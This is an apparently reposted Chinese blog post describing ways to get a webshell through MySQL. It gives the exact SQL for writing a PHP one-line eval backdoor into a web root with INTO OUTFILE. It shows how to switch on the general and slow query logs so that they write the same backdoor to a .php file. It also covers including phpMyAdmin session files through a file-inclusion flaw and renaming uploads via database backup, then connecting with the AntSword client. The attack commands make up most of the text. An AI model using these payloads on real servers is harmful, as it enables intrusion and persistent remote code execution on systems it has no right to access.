• 利用数据库拿shell的一些姿势


    0x01、利用MySQL命令导出getshell

    利用条件:

    1、拥有网站的写入权限

    2、Secure_file_priv参数为空或者为指定路径

    3、知道网站的绝对路径

    方法:

    通过into outfile 进行文件写入,写入一句话木马

    CREATE TABLE shell(cmd text);

    INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>');

    SELECT cmd from shell INTO OUTFILE 'D:/php/www/shell.php';

    *************************OR************************************

    select '<?php @eval($_POST[CMD]); ?>' into outfile 'D:/php/www/shell.php';

    测试:

    利用PHPStudy打开MySQL命令行

     

    通过show global variables like ‘%secure%’;命令查看secure_file_priv,这个参数用来限制数据的导入和导出操作。

     

    如上图所示,这个参数为NULL,MySQL服务会禁止导入和导出操作。

    解决方法:

    windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

    linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

     

    然后重启mysql,再查询secure_file_priv

     

    现在即可将一句话木马导入到指定文件

     

    用蚁剑连一下,可以成功连接。

     

    0x02利用日志getshell

    利用general_log和general_log_file拿shell

    方法:

    开启general_log后,系统将mysql执行的每一条查询语句写入我们指定位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,执行SELECT '<?php assert($_POST["cmd"]);?>';,这个指令就把木马插入到我们指定的php文件中去了。

    测试:

    利用PHPStudy打开MySQL命令行

    执行下面操作,修改general_log_file的值

    set global general_log = "ON";

    set global general_log_file=” D:/php/www/shell.php”

     

    在查询语句中写入一句话木马

     

    这样就成功将一句话写入了我们指定的文件。

    用蚁剑连一下,可以成功连接:

     

    当然,也可以在phpmyadmin里面更改

     

    利用慢查询日志写shell

    原理:

    慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

    一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

    show global variables like '%long_query_time%';

     

    通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不容易引起管理员的察觉。

    测试:

    利用PHPStudy打开MySQL命令行

     

    执行下面操作,修改slow_query_log的值

    set global slow_query_log = "ON";

    set global slow_query_log_file =” D:/php/www/shell.php”

     

    在查询语句中写入一句话木马并延时10秒以上:

    select "<?php @eval($_POST['cmd']); ?>" or sleep(11);

     

    蚁剑连接测试

     

    0x03 利用文件包含漏洞getshell

    原理:

    对于phpmyadmin来说有一种特殊的机制,所有SQL的执行操作将存入session。

    所以,如果目标站点存在文件包含漏洞,我们可以通过包含session文件来拿shell。

    测试:

    利用PHPStudy启一个环境。打开phpmyadmin,输入sql查询语句,执行

     

    我们在session文件中就能找到这条语句的执行记录:

     

    为了测试,我手动建立了一个存在文件包含漏洞的php文件

     

    然后去包含我们的session文件

     

    蚁剑连接测试

     

    0x04 利用数据库备份getshell

    网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等。

    而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式,如jpg、gif等,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。

     

  • 相关阅读:
    java连接oracle数据库调用存储过程实现分页查询(emp为例)
    git 记录
    Angular记录
    “nth-child”选择器的优先级高于伪类选择器“:hover”
    Angular获取父组件传值-set,get
    Vue3.0路由 -- 学习笔记
    Vue学习笔记
    java-关于List删除元素的出错问题
    CSS选择器-复合选择器
    Angular 路由返回
  • 原文地址:https://www.cnblogs.com/vege/p/13886690.html
Copyright © 2020-2023  润新知